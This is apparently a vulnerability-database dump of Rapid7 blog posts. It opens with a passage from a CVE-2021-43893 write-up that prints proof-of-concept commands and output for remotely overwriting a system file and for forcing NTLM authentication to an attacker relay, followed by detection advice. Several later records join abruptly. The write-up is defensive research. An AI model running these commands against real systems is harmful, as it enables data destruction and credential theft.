why.\n\nHowever, it is interesting to note that the administrative user can remotely overwrite all files. This doesn\u2019t serve much purpose from an offensive standpoint, but would serve as an easy, low-effort [wiper](<https://s3.amazonaws.com/talos-intelligence-site/production/document_files/files/000/033/904/original/Talos_WiperWhitepaper.v3.pdf?1525893980>) or data destruction attack. Here is a silly example of remotely overwriting calc.exe from an administrator account.\n \n \n C:\\ProgramData>whoami\n okhuman\\test_admin\n \n C:\\ProgramData>.\\blankspace.exe -r vulnerable.okhuman.ninja -f \\\\.\\C:\\Windows\\System32\\calc.exe -s \"aaaaaaaaaaaa\"\n ____ ___ __ ____\n /\\ _`\\ /\\_ \\ /\\ \\ /\\ _`\\\n \\ \\ \\L\\ \\//\\ \\ __ ___\\ \\ \\/'\\ \\ \\,\\L\\_\\ _____ __ ___ __\n \\ \\ _ <'\\ \\ \\ /'__`\\ /' _ `\\ \\ , < \\/_\\__ \\ /\\ '__`\\ /'__`\\ /'___\\ /'__`\\\n \\ \\ \\L\\ \\\\_\\ \\_/\\ \\L\\.\\_/\\ \\/\\ \\ \\ \\\\`\\ /\\ \\L\\ \\ \\ \\L\\ \\/\\ \\L\\.\\_/\\ \\__//\\ __/\n \\ \\____//\\____\\ \\__/.\\_\\ \\_\\ \\_\\ \\_\\ \\_\\ \\ `\\____\\ \\ ,__/\\ \\__/.\\_\\ \\____\\ \\____\\\n \\/___/ \\/____/\\/__/\\/_/\\/_/\\/_/\\/_/\\/_/ \\/_____/\\ \\ \\/ \\/__/\\/_/\\/____/\\/____/\n \\ \\_\\\n \\/_/\n [+] Creating EFS RPC binding handle to vulnerable.okhuman.ninja\n [+] Attempting to write to \\\\.\\C:\\Windows\\System32\\calc.exe\n [+] Encrypt the empty remote file...\n [-] EfsRpcEncryptFileSrv failed with status code: 5\n \n C:\\ProgramData>\n \n\nAs you can see from the output, the tool failed with status code 5 (Access Denied). However, `calc.exe` on the remote device was successfully overwritten.\n\n\n\nTechnically speaking, this doesn\u2019t really represent a security boundary being crossed. Administrators typically have access to \\host\\C$ or \\host\\admin$, but the difference in behavior seemed worth mentioning. I\u2019d also note that as of February 2022, administrative users can still do this using `\\\\localhost\\C$\\Windows\\System32\\calc.exe`.\n\nForshaw also mentioned in his original writeup, and I confirmed, that this attack generates the attacking user\u2019s roaming profile on the victim server. That could be a pretty interesting file-upload vector if the Active Directory environment synchronizes roaming directories. Again, I didn\u2019t investigate that any further, but it could be useful in the correct environment.\n\n### Forced authentication still not entirely patched\n\nThe December 2021 patch brought multiple changes to `efslsaext.dll` and resulted in partial mitigation of [CVE-2021-43893](<https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-43893>). One of the changes was the introduction of two new functions: `EfsEnsureLocalPath` and `EfsEnsureLocalHandle`. `EfsEnsureLocalPath` grabs a HANDLE for the attacker provided file using [CreateW](<https://docs.microsoft.com/en-us/windows/win32/api/fileapi/nf-fileapi-createfilew>). The HANDLE is then passed to `EfsEnsureLocalHandle`, which passes the HANDLE to `NtQueryVolumeInformationFile` to validate the characteristics flag doesn\u2019t contain [FILE_REMOTE_DEVICE](<https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-fscc/616b66d5-b335-4e1c-8f87-b4a55e8d3e4a>).\n\n\n\nBecause the patch **still** opens a HANDLE using the attacker-controlled file path, EFSRPC _remains_ vulnerable to forced authentication and relay attacks of the machine account.\n\nDemonstration of the forced authentication and relay does not require the complicated attack often associated with PetitPotam. We just need three boxes:\n\nThe Relay (10.0.0.3): A Linux system running `ntlmrelayx.py`. \nThe Attacker (10.0.0.6): A fully patched Windows 10 system. \nThe Victim (10.0.0.12): A fully patched Windows Server 2019 system.\n\nThe only caveat for this example is that the victim\u2019s machine account (aka [computer account](<https://docs.microsoft.com/en-us/azure/active-directory/fundamentals/service-accounts-computer>)) is assigned to the `Domain Admins` group. Below, you can see the machine account for 10.0.0.12, YEET$, is a member of `Domain Admins`.\n\n\n\nThis may not be a common configuration, but it\u2019s common enough that it\u2019s been the subject of a [couple](<https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/pass-the-hash-with-machine-accounts>) [excellent](<https://pentestlab.blog/2022/02/01/machine-accounts/>) writeups.\n\nThe attack is launched by a low-privileged user on 10.0.0.6 using the `blankspace.exe` proof of concept. The attack will force 10.0.0.12 (yet.okhuman.ninja) to authenticate to the attacker relay at 10.0.0.3\n \n \n C:\\ProgramData>blankspace.exe -r yeet.okhuman.ninja -f \\\\10.0.0.3\\r7\\r7 --relay\n ____ ___ __ ____\n /\\ _`\\ /\\_ \\ /\\ \\ /\\ _`\\\n \\ \\ \\L\\ \\//\\ \\ __ ___\\ \\ \\/'\\ \\ \\,\\L\\_\\ _____ __ ___ __\n \\ \\ _ <'\\ \\ \\ /'__`\\ /' _ `\\ \\ , < \\/_\\__ \\ /\\ '__`\\ /'__`\\ /'___\\ /'__`\\\n \\ \\ \\L\\ \\\\_\\ \\_/\\ \\L\\.\\_/\\ \\/\\ \\ \\ \\\\`\\ /\\ \\L\\ \\ \\ \\L\\ \\/\\ \\L\\.\\_/\\ \\__//\\ __/\n \\ \\____//\\____\\ \\__/.\\_\\ \\_\\ \\_\\ \\_\\ \\_\\ \\ `\\____\\ \\ ,__/\\ \\__/.\\_\\ \\____\\ \\____\\\n \\/___/ \\/____/\\/__/\\/_/\\/_/\\/_/\\/_/\\/_/ \\/_____/\\ \\ \\/ \\/__/\\/_/\\/____/\\/____/\n \\ \\_\\\n \\/_/\n [+] Creating EFS RPC binding handle to yeet.okhuman.ninja\n [+] Sending EfsRpcDecryptFileSrv for \\\\10.0.0.3\\r7\\r7\n [-] EfsRpcDecryptFileSrv failed with status code: 53\n [+] Network path not found error received!\n [!] Success!\n \n C:\\ProgramData>\n \n\nThe Linux relay is running [ntlmrelayx.py](<https://blog.fox-it.com/2017/05/09/relaying-credentials-everywhere-with-ntlmrelayx/>) and configured to relay the YEET$ authentication to 10.0.0.6 (the original attacker box).

However, the attack isn\u2019t exactly silent. On 10.0.0.6, event ID 4624 was created when the 10.0.0.3 relay logged in using the YEET$ machine account.\n\n\n\n## Final thoughts and remediation\n\nWhat began as an investigation into using an unpatched remote file-write vulnerability ended up being a history lesson in EFSRPC patches. The remote file-write vulnerability that I originally wanted to use has been patched, but we demonstrated the forced authentication issue hasn\u2019t been adequately fixed. There is no doubt that Windows developers have a tough job. However, a lot of the issues discussed here could have been easily avoided with a reasonable patch in August 2021. The fact that they persist today says a lot about the current state of Windows security.\n\nTo mitigate these issues as best as possible, as always, ensure your systems are successfully updated monthly. Microsoft has released multiple advisories with recommendations regarding NTLM Relay-based attacks (see: [Microsoft Security Advisory 974926 \n](<https://docs.microsoft.com/en-us/security-updates/SecurityAdvisories/2009/974926>) and [KB5005413: Mitigating NTLM Relay Attacks on Active Directory Certificate Services (AD CS)](<https://support.microsoft.com/en-us/topic/kb5005413-mitigating-ntlm-relay-attacks-on-active-directory-certificate-services-ad-cs-3612b773-4043-4aa9-b23d-b87910cd3429>). The most important advice is to ensure SMBv1 no longer exists in your environment and to require SMB signing.\n\nSome other general advice:\n\n * Monitoring for [event ID 4420](<https://support.microsoft.com/en-au/topic/kb5009763-efs-security-hardening-changes-in-cve-2021-43217-719fbc9d-ad9b-4f90-a964-0afe40338002>) in Windows application event logs can help detect EFSRPC-based hacking tools.\n * Monitor for [event ID 4624](<https://docs.microsoft.com/en-us/windows/security/threat-protection/auditing/event-4624>) in Windows security event logs for remote machine account authentication.\n * Audit machine accounts to ensure they are not members of Domain Admins. \nIf possible, audit %PATH% of critical systems to ensure no world-writable path exists.\n\n##

{"rapid7blog": [{"lastseen": "2022-03-28T13:42:40", "description": "\n\nEvery year, our research team at Rapid7 analyzes thousands of vulnerabilities to understand root causes, dispel misconceptions, and explain why some flaws are more likely to be exploited than others. By continuously reviewing the vulnerability landscape and sharing our research team\u2019s insights, we hope to help organizations around the world better secure their environments and shore up vulnerabilities to keep bad actors at bay.\n\nToday, we are proud to share [Rapid7\u2019s 2021 Vulnerability Intelligence Report](<https://www.rapid7.com/info/2021-vulnerability-intelligence-report/>), which provides a landscape view of critical vulnerabilities and threats and offers expert analysis of attack vectors and exploitation trends from a truly harrowing year for risk management teams. The report details 50 notable vulnerabilities from 2021, 43 of which were exploited in the wild. We also highlight a number of non-CVE-based attacks, including several significant supply chain security incidents.\n\nIn this post, we\u2019ll take a big-picture look at the threat landscape in 2021 and reinforce key ways for organizations to protect themselves against high-priority vulnerabilities. For more insights and in-depth technical analysis, [download the full report now](<https://www.rapid7.com/info/2021-vulnerability-intelligence-report/>).\n\n## 2021 attack trends\n\nAs many security and IT teams experienced firsthand, 2021 saw notable increases in attack volume, urgency, and complexity. Many of 2021\u2019s critical vulnerabilities were exploited quickly and at scale, dwarfing attacks from previous years and giving businesses little time to shore up defenses in the face of rapidly rising risk. Key findings across the 50 vulnerabilities in this year\u2019s report include:\n\n * A 136% increase in widespread threats over 2020, due in part to attacker economies of scale, like ransomware and coin mining campaigns\n * A significant rise in zero-day attacks\n * Lower time to known exploitation (TTKE) \u2014 a decrease of 71% year over year\n\nWhen a vulnerability is exploited by many attackers across many different organizations and industries, Rapid7 researchers classify that vulnerability as a widespread threat. In one of the year\u2019s more jarring trends, 52% of 2021\u2019s widespread threats began with a [zero-day exploit](<https://www.rapid7.com/blog/post/2021/03/23/defending-against-the-zero-day-analyzing-attacker-behavior-post-exploitation-of-microsoft-exchange/>). These vulnerabilities were discovered and weaponized by adversaries before vendors were able to patch them. A much higher proportion of zero-day attacks are now threatening many organizations from the outset, instead of being used in more targeted operations. 85% of the zero-day exploits in our 2021 data set, like the [Microsoft Exchange ProxyLogon vulnerabilities](<https://www.rapid7.com/blog/post/2021/08/12/proxyshell-more-widespread-exploitation-of-microsoft-exchange-servers/>) and [Log4Shell CVE-2021-44228](<https://www.rapid7.com/blog/post/2021/12/10/widespread-exploitation-of-critical-remote-code-execution-in-apache-log4j/>), were widespread threats from the start.\n\nAdditional themes from 2021 included an increase in driver-based attacks and injection exploits, as well as ongoing threats to software supply chain integrity. In the full report, our team also enumerates high-level vulnerability root causes and attacker utilities to help readers understand which vulnerabilities may offer easy exploitability or deep access for attackers.\n\n## Examining today\u2019s threat landscape\n\nIn summary, the threat landscape in 2021 was frenetic for many businesses. Not only was the world still grappling with the COVID-19 pandemic, which continued to put pressure on staffing and budgets, but security teams faced a rise in attack complexity and severity. Widespread attacks leveraging vulnerabilities in commonly deployed software were endemic, ransomware prevalence increased sharply, and zero-day exploitation reached an all-time high.\n\nWhile this may sound grim, there is some good news. For one thing, the security industry is better able to detect and analyze zero-day attacks. This, in turn, has helped improve commercial security solutions and open-source rule sets. And while we would never call the rise of ransomware a positive thing for the world, the universality of the threat has spurred more public-private cooperation and driven new recommendations for preventing and recovering from ransomware attacks. \n\nThese are just a few examples of how the threat landscape has evolved \u2014 and how the challenges vulnerability risk management teams face are evolving along with it. We recommend [prioritizing remediation](<https://www.rapid7.com/db/>) for the CVEs in this year\u2019s data set.\n\n## How to manage risk from critical vulnerabilities\n\nAt Rapid7, we believe that research-driven context on vulnerabilities and emergent threats is critical to building forward-looking security programs. In line with that, organizations of all sizes can implement the following battle-tested tactics to minimize easy opportunities for attackers.\n\n * [Asset inventory](<https://www.rapid7.com/fundamentals/security-program-basics/>) is the foundation of any security program. Responding quickly and decisively to high-urgency threats requires knowing which technologies you use across your stack, how they are configured, and who has access to them.\n * Limit and monitor your internet-facing attack surface area. Pay particular attention to security gateway products, such as VPNs and firewalls.\n * Establish emergency zero-day patching procedures and incident response playbooks that go hand-in-hand with [regular patching cycles](<https://www.rapid7.com/fundamentals/patch-management/>).\n * Conduct incident response investigations that look for indicators of compromise (IOCs) and post-exploitation activity during widespread threat events in addition to activating emergency patching protocols.\n * Employ in-depth security measures to protect your development pipelines from supply chain attacks.

What does that mean? How does that look? What can be tested, and what\u2019s out of scope? Why would I want a pentest in the cloud? Let\u2019s start with the basics here, to hopefully shed some light on what this is all about, and then we\u2019ll get into the thick of it.\n\nCloud computing is the idea of using software and services that run on the internet as a way for an organization to deploy their once on-premise systems. This isn't a new concept \u2014 in fact, the major vendors, such as [Amazon\u2019s AWS](<https://www.rapid7.com/fundamentals/aws-cloud-security/>), Microsoft\u2019s Azure, and Google\u2019s Cloud Platform, have all been around for about 15 years. Still, cloud sometimes seems like it\u2019s being talked about as if it was invented just yesterday, but we\u2019ll get into that a bit more later.\n\nSo, cloud computing means using someone else\u2019s computer, in a figurative or quite literal sense. Simple enough, right? \n\nWrong! There are various ways that companies have started to utilize cloud providers, and these all impact how pentests are carried out in cloud environments. Let\u2019s take a closer look at the three primary cloud configurations.\n\n## Traditional cloud usage\n\nSome companies have simply lifted infrastructure and services straight from their own on-premise data centers and moved them into the cloud. This looks a whole lot like setting up one virtual private cloud (VPC), with numerous virtual machines, a flat network, and that\u2019s it! While this might not seem like a company is using their cloud vendor to its fullest potential, they\u2019re still reaping the benefits of never having to manage uptime of physical hardware, calling their ISP late at night because of an outage, or worrying about power outages or cooling. \n\nBut one inherent problem remains: The company still requires significant staff to maintain the virtual machines and perform operating system updates, software versioning, cipher suite usage, code base fixes, and more. This starts to look a lot like the typical [vulnerability management (VM) program](<https://www.rapid7.com/fundamentals/vulnerability-management-program-framework/>), where IT and security continue to own and maintain infrastructure. They work to patch and harden endpoints in the cloud and are still in line for changes to be committed to the cloud infrastructure.\n\n## Cloud-native usage\n\nThe other side of cloud adoption is a more mature approach, where a company has devoted time and effort toward transitioning their once on-premise infrastructure to a fully utilized cloud deployment. While this could very well include the use of the typical VPC, network stack, virtual machines, and more, the more mature organization will utilize cloud-native deployments. These could include storage services such as S3, function services, or even cloud-native [Kubernetes](<https://www.rapid7.com/blog/post/2022/01/27/why-security-in-kubernetes-isnt-the-same-as-in-linux-part-1/>). \n\nCloud-native users shift the priorities and responsibilities of IT and security teams so that they no longer act as gatekeepers to prevent the scaling up or out of infrastructure utilized by product teams. In most of these environments, the product teams own the ability to make commitments in the cloud without IT and security input. Meanwhile, IT and security focus on proper controls and configurations to prevent security incidents. Patching is exchanged for rebuilds, and network alerting and physical server isolation are handled through automated responses, such as an alert with AWS Config that automatically changes the security group for a resource in the cloud and isolates it for further investigation. \n\nThese types of deployments start to more fully utilize the capabilities of the cloud, such as automated deployment through infrastructure-as-code solutions like AWS Cloud Formation. Gone are the days when an organization would deploy Kubernetes on top of a virtual machine to deploy containers. Now, cloud-native vendors provide this service with AWS\u2019s Elastic Kubernetes Services, Microsoft\u2019s Azure Kubernetes Services, and for obvious reasons, Google\u2019s Kubernetes Engine. These and other types of cloud native deployments really help to ease the burden on the organization.\n\n## Hybrid cloud\n\nThen there\u2019s hybrid cloud. This is where a customer can set up their on-premise environment to also tie into their cloud environment, or visa versa. One common theme we see is with Microsoft Azure, where the Azure AD Connect sync is used to synchronize on-premise Active Directory to Azure AD. This can be very beneficial when the company is using other Software-as-a-Service (SaaS) components, such as Microsoft Office 365. \n\nThere are various benefits to utilizing hybrid cloud deployments. Maybe there are specific components that a customer wants to keep in house and support on their own infrastructure. Or perhaps the customer doesn\u2019t yet have experience with how to maintain Kubernetes but is utilizing Google Cloud Platform. The ability to deploy your own services is the key to flexibility, and the cloud helps provide that.\n\nIn part two, we\u2019ll take a closer look at how these different cloud deployments impact pentesting in the cloud.\n\n**_Additional reading:_**\n\n * _[Why Security in Kubernetes Isn't the Same as in Linux: Part 1](<https://www.rapid7.com/blog/post/2022/01/27/why-security-in-kubernetes-isnt-the-same-as-in-linux-part-1/>)_\n * [_Dropping Files on a Domain Controller Using CVE-2021-43893_](<https://www.rapid7.com/blog/post/2022/02/14/dropping-files-on-a-domain-controller-using-cve-2021-43893/>)\n * _[Time to Act: Bridging the Gap in Cloud Automation Adoption](<https://www.rapid7.com/blog/post/2021/11/11/time-to-act-bridging-the-gap-in-cloud-automation-adoption/>)_\n * [_Hands-On IoT Hacking: Rapid7 at DefCon IoT Village, Part 1_](<https://www.rapid7.com/blog/post/2021/10/21/hands-on-iot-hacking-rapid7-at-defcon-iot-village-pt-1/>)\n\n#### NEVER MISS A BLOG\n\nGet the latest stories, expertise, and news about security today.\n\nSubscribe", "cvss3": {"exploitabilityScore": 1.6, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "HIGH", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "LOW", "baseScore": 7.5, "vectorString": "CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 5.9}, "published": "2022-03-21T14:32:42", "type": "rapid7blog", "title": "Cloud Pentesting, Pt. 1: Breaking Down the Basics", "bulletinFamily": "info", "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 6.8, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 6.0, "vectorString": "AV:N/AC:M/Au:S/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "SINGLE"}, "impactScore": 6.4, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-43893"], "modified": "2022-03-21T14:32:42", "id": "RAPID7BLOG:5E98567442ADCB32BB59B8024706BABB", "href": "https://blog.rapid7.com/2022/03/21/cloud-pentesting-pt-1-breaking-down-the-basics/", "cvss": {"score": 6.0, "vector": "AV:N/AC:M/Au:S/C:P/I:P/A:P"}}, {"lastseen": "2022-03-07T17:28:26", "description": "\n\n_Written in collaboration with Jimmy Cancilla_\n\nWhen scanning an asset, one key piece of data that the [InsightVM](<https://www.rapid7.com/products/insightvm/>) Scan Engine collects is the MAC address of the network interface used during the connection. The MAC address is one of several attributes used by the Security Console to perform asset correlation. As a result of the volatile nature of IP addresses, identifying assets using the MAC address can provide increased reliability when integrating scan results. In some cases, the MAC address can be used as a rudimentary means of fingerprinting an asset. Several manufacturers will use the same first 3 bytes when assigning a MAC address to a device (for example, several CISCO SYSTEMS, INC devices use 00000C as the MAC address prefix). \n\nWhen performing an authenticated scan (a scan whereby the engine has the necessary credentials to authenticate to the target), collecting the MAC address is relatively straightforward, as all operating systems provide tooling to gather this information. However, collecting the MAC address with an unauthenticated scan (a scan where no credentials are provided) is less reliable. This is due to limitations of network protocols and modern network topologies. \n\n## Breaking down IP protocols\n\nIn order to understand these limitations, it is important to first understand the fundamentals of the [IP protocol suite](<https://en.wikipedia.org/wiki/Internet_protocol_suite>). \n\nThe IP protocol suite can be thought of in 4 layers:\n\n\n\nThe MAC address is part of the bottom layer called the Link Layer. The MAC address is used by the hardware when communicating with other devices on the **same network equipment**. Any devices communicating at the Link layer do so without the use of routers.\n\nOn the other hand, IP addresses are part of the Network layer. IP addresses are used to communicate with devices across different networks, traversing through routers.\n\n## MAC address discovery with unauthenticated scans\n\nThis leads to the limitation in unauthenticated scans. When performing an unauthenticated scan against assets that are accessed via a router, the scan engine is only able to communicate with that asset via the Network layer. The implications of this are that the MAC address is not included in the network packets received by the scan engine. This is not a limitation or defect of the scan engine, but rather a reality of the IP protocol suite and modern network infrastructure.\n\nTo work around these limitations in the IP protocol suite, the InsightVM scan engine uses several alternative methods to attempt to collect the MAC address of assets being scanned. In general, these alternative methods attempt to authenticate to an asset over various protocols using known default credentials. As a result of this capability in the scan engine, asset results from unauthenticated scans may include the MAC address despite being scanned over a router. However, it is important to note that the success rate is dependent on whether assets are configured to allow authentication using default credentials.\n\n_****Note**: **SNMPv1 and SNMPv2 are more likely than most protocols to be configured with known default credentials._\n\n## Summary\n\nThe following tables outline the different methods that the scan engine will use to collect MAC addresses from targets, and whether or not authentication is required.\n\n### Windows\n\nMethod | Authenticated or unauthenticated scan \n---|--- \nvia SMB protocol | Authenticated \nvia WMI protocol | Authenticated \nScan Assistant | Authenticated \nSNMPv1 or SNMPv2 | Authenticated or unauthenticated \n \n**Note:** Collecting the MAC address via SNMPv1 or SNMPv2 with an unauthenticated scan is only possible if the scan engine can authenticate using the default credentials for these protocols. However, it is _not_ recommended that default credentials be left enabled as this poses a serious security risk. \n \n### Linux\n\nMethod | Authenticated or unauthenticated scan \n---|--- \nVia SSH protocol | Authenticated \nVia an insecure Telnet protocol | Authenticated \n \n**Note:** Running an insecure Telnet server on an asset is a serious security risk and is _not_ recommended. \nSNMPv1 or SNMPv2 | Authenticated or unauthenticated \n \n**Note:** Collecting the MAC address via SNMPv1 or SNMPv2 with an unauthenticated scan is only possible if the scan engine can authenticate using the default credentials for these protocols. However, it is _not_ recommended that default credentials be left enabled as this poses a serious security risk. \n \nOver the years, the engineering team here at Rapid7 has partnered with dozens of security teams to identify pain points and develop solutions. The importance of collecting the MAC address for targets being scanned is well understood. As a result, the InsightVM Scan Engine has been designed to utilize a multi-pronged approach to collecting MAC addresses from assets. \n\n**_Additional reading: _**\n\n * _[What's New in InsightVM and Nexpose: Q4 2021 in Review](<https://www.rapid7.com/blog/post/2022/02/18/whats-new-in-insightvm-and-nexpose-q4-2021-in-review/>)_\n * _[Log4Shell 2 Months Later: Security Strategies for the Internet's New Normal](<https://www.rapid7.com/blog/post/2022/02/17/log4shell-2-months-later-security-strategies-for-the-internets-new-normal/>)_\n * _[Dropping Files on a Domain Controller Using CVE-2021-43893](<https://www.rapid7.com/blog/post/2022/02/14/dropping-files-on-a-domain-controller-using-cve-2021-43893/>)_\n * _[Distribute Reports to Email Addresses in InsightVM](<https://www.rapid7.com/blog/post/2021/11/17/distribute-reports-to-email-addresses-in-insightvm/>)_\n\n#### NEVER MISS A BLOG\n\nGet the latest stories, expertise, and news about security today.\n\nSubscribe", "cvss3": {"exploitabilityScore": 1.6, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "HIGH", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "LOW", "baseScore": 7.5, "vectorString": "CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 5.9}, "published": "2022-03-07T16:53:44", "type": "rapid7blog", "title": "InsightVM Scan Engine: Understanding MAC Address Discovery", "bulletinFamily": "info", "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 6.8, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 6.0, "vectorString": "AV:N/AC:M/Au:S/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "SINGLE"}, "impactScore": 6.4, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-43893"], "modified": "2022-03-07T16:53:44", "id": "RAPID7BLOG:0305BCDA9DE47FE4223986163B0EA7C4", "href": "https://blog.rapid7.com/2022/03/07/insightvm-scan-engine-understanding-mac-address-discovery-2/", "cvss": {"score": 6.0, "vector": "AV:N/AC:M/Au:S/C:P/I:P/A:P"}}, {"lastseen": "2021-12-03T21:03:37", "description": "CVE | Vendor Advisory | AttackerKB | IVM Content | Patching Urgency | Last Update \n---|---|---|---|---|--- \nCVE-2021-41379 | [Microsoft Advisory](<https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-41379>) | [AttackerKB](<https://attackerkb.com/topics/7LstI2clmF/cve-2021-41379/rapid7-analysis?referrer=blog>) | Scheduled (when patched) | ASAP (when released) | December 3, 2021 3:00 PM ET \n\n\n_See the Updates section at the end of this post for new information._\n\n## Description\n\nOn November 9, 2021, as part of Patch Tuesday, Microsoft released an update to address [CVE-2021-41379](<https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-41379>), a \u201cWindows Installer Elevation of Privilege Vulnerability\u201d that had a modest CVSS score (5.5), without much fanfare. The original CVE allows an attacker to delete files on a system using elevated privileges.\n\nFast-forward to November 22, 2021, when after investigating the patch, the researcher that discovered the vulnerability, Abdelhamid Naceri, found that it did not fully remediate the issue and published proof-of-concept (PoC) code on [GitHub](<https://github.com/klinix5/InstallerFileTakeOver>) proving exploitation of the vulnerability is still possible on patched versions of Windows allowing for SYSTEM-level privileges. The working PoC \u201coverwrites Microsoft Edge elevation service 'DACL' and copies itself to the service location, then executes it to gain elevated privileges.\u201d\n\nWith a zero-day exploit available, attackers have been chipping away at ways to utilize the vulnerability, especially in [malware](<https://blog.talosintelligence.com/2021/11/attackers-exploiting-zero-day.html>).\n\nAs of November 30, 2021, there is not an official patch from Microsoft to fully and effectively remediate this vulnerability. Community researchers and security practitioners have noted that other Microsoft zero-day vulnerabilities this year, such as [CVE-2021-36934](<https://www.rapid7.com/blog/post/2021/07/21/microsoft-sam-file-readability-cve-2021-36934-what-you-need-to-know/>) (\u201cHiveNightmare\u201d/\u201dSeriousSAM\u201d), were not fixed until typical Patch Tuesday release cycles even if public exploit code had already made an appearance. We expect that this vulnerability will follow that same pattern and that we won\u2019t see a new patch (and/or a new CVE, if Microsoft does indeed classify this as a patch bypass) until December 2021\u2019s Patch Tuesday.\n\n## Affected versions\n\nAccording to the researcher, all supported versions of Windows, including Windows 11 and Server 2022, are vulnerable to the exploit.\n\n## Guidance\n\nWith no official patch at this time, we recommend that organizations prepare to patch this as soon as the official fix is released. Meanwhile, Rapid7 researchers have confirmed that [a number of antimalware programs](<https://www.virustotal.com/gui/file/a43bafb2af2a1adcd1371ab3810b2908b591bc32798f3ad35ad662cf967b12fd/detection>) have added detection of Naceri's exploit, so as usual, keep those programs up to date. Lastly, organizations can detect previous exploitation of this PoC by monitoring for EventID 1033 and \u201ctest pkg\u201d (keeping in mind that the \u201ctest pkg\u201d will only find this exact PoC and may be modified by more enterprising attackers). \n**(Please see the Updates section regarding the latest on AV detection of this exploit).**\n\n\n\n## Rapid7 customers\n\nFor Rapid7 InsightVM customers, we will be releasing vulnerability checks if and when Microsoft publishes patch information for the new vulnerability.\n\nIn the meantime, InsightVM customers can use [Query Builder](<https://docs.rapid7.com/insightvm/query-builder/>) to find Windows assets by creating the following query: `os.family` `contains` `windows`. Rapid7 Nexpose customers can create a [Dynamic Asset Group](<https://docs.rapid7.com/nexpose/performing-filtered-asset-searches>) based on a filtered asset search for `OS` `contains` `windows`.\n\n## Updates\n\n[December 3, 2021] \nRapid7 has published an in-depth technical analysis on [AttackerKB](<https://attackerkb.com/topics/7LstI2clmF/cve-2021-41379/rapid7-analysis?referrer=blog>) that includes a streamlined, more functional PoC.

That emphasizes the need to quickly patch this vulnerability, before multiple cybercriminals put their hands on an exploit and start to utilize it on a large scale.\n\n_[Read more](<https://www.rapid7.com/log4j-cve-2021-44228-resources/>) about the Log4Shell vulnerability within Log4j, and what your team can do in response._", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "CHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "baseScore": 10.0, "privilegesRequired": "NONE", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H", "userInteraction": "NONE", "version": "3.1"}, "impactScore": 6.0}, "published": "2021-12-14T21:05:17", "type": "rapid7blog", "title": "Log4Shell Makes Its Appearance in Hacker Chatter: 4 Observations", "bulletinFamily": "info", "cvss2": {"severity": "HIGH", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 9.3, "vectorString": "AV:N/AC:M/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "acInsufInfo": false, "impactScore": 10.0, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-44228"], "modified": "2021-12-14T21:05:17", "id": "RAPID7BLOG:E43819A7DE1DD0F60E63E67A27B9301B", "href": "https://blog.rapid7.com/2021/12/14/log4j-makes-its-appearance-in-hacker-chatter-4-observations/", "cvss": {"score": 9.3, "vector": "AV:N/AC:M/Au:N/C:C/I:C/A:C"}}, {"lastseen": "2022-03-09T17:28:27", "description": "\n\nThe world of the cloud never stops moving \u2014 so neither can cloud security. In the face of rapidly evolving technology and a constantly changing threat landscape, keeping up with all the latest developments, trends, and best practices in this emerging practice is more vital than ever.\n\nEnter Rapid7\u2019s [third annual Cloud Security Summit](<https://www.rapid7.com/info/events-2022/rapid7-cloud-security-summit/>), which we\u2019ll be hosting this year on Tuesday, March 29. This one-day virtual event is dedicated to [cloud security best practices](<https://www.rapid7.com/fundamentals/cloud-network-security/>) and will feature industry experts from Rapid7, as well as Amazon Web Services (AWS), Snyk, and more. \n\nWhile the event is fully virtual and free, we know that the time commitment can be the most challenging part of attending a multi-hour event during the workday. With that in mind, we\u2019ve compiled a short list of the top reasons you\u2019ll definitely want to register, clear your calendar, and attend this event.\n\n## Reason 1: Get a sneak peak at some original cloud security research\n\nDuring the opening session of this year\u2019s summit, two members of Rapid7\u2019s award-winning security research team will be presenting some never-before-published research on the current state of cloud security operations, the [most common misconfigurations in 2021](<https://www.rapid7.com/info/2021-cloud-misconfigurations-research-report/>), [Log4j](<https://www.rapid7.com/log4j-cve-2021-44228-resources/>), and more.\n\nAlong with being genuinely interesting data, this research will also give you some insights and benchmarks that will help you evaluate your own [cloud security 